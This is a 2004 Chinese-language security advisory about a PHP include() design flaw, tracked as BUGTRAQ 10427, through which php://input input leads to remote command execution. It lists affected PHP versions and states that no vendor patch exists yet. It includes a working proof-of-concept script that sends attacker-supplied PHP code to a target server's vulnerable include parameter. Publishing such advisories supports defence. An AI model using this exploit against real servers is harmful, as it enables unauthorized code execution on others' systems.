首页 -> 安全研究

安全研究

安全漏洞
PHP Input/Ouput Wrapper远程包含函数命令执行漏洞

发布日期:2004-05-27
更新日期:2004-06-02

受影响系统:
PHP PHP 5.0 RC2
PHP PHP 5.0 RC1
PHP PHP 4.3.6
PHP PHP 4.3.3
PHP PHP 4.3.2
PHP PHP 4.3.1
PHP PHP 4.3.0
描述:
BUGTRAQ  ID: 10427

PHP是一种流行的WEB服务器端编程语言。

PHP的include()函数存在设计缺陷,远程攻击者可以利用这个漏洞可能以WEB权限执行任意命令。

PHP的一个设计错误,当URI数据作为'include()'函数的一个参数时,攻击者可以提交POST PHP命令来执行。此问题影响PHP自身模块,虽然问题只有当应用程序使用用户提供的URI数据作为 'include()'函数时才发生。

成功利用此漏洞可以WEB进程权限执行任意命令。

<*来源:Slythers
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=108570676214879&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Slythers 提供了如下测试方法:

<form action="" methode="post" >
target server : <input type="text" name="server" ><br><br>
target file (including URI parameter used in include() call ex:"index.php?includeParam=") : <input type="text" name="file" ><br><br>
exec (enclose php commands between <? .. ?> tags): <input type="text" name="cmd" ><br><br>
<INPUT type="submit" value="send">
</form>

<?
if($cmd){
$message  = "POST /".$file."php://input HTTP/1.1\r\n";
$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$message .= "Accept-Language: fr\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "Accept-Encoding: deflate\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2)\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".strlen( $cmd )."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cache-Control: no-cache\r\n";
$message .= "\r\n";
$message .= $cmd."\r\n";
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
while(!feof($fd)) {
echo fgets($fd,1280);
}
fclose($fd);
}
?>

建议:
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

浏览次数:4296
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障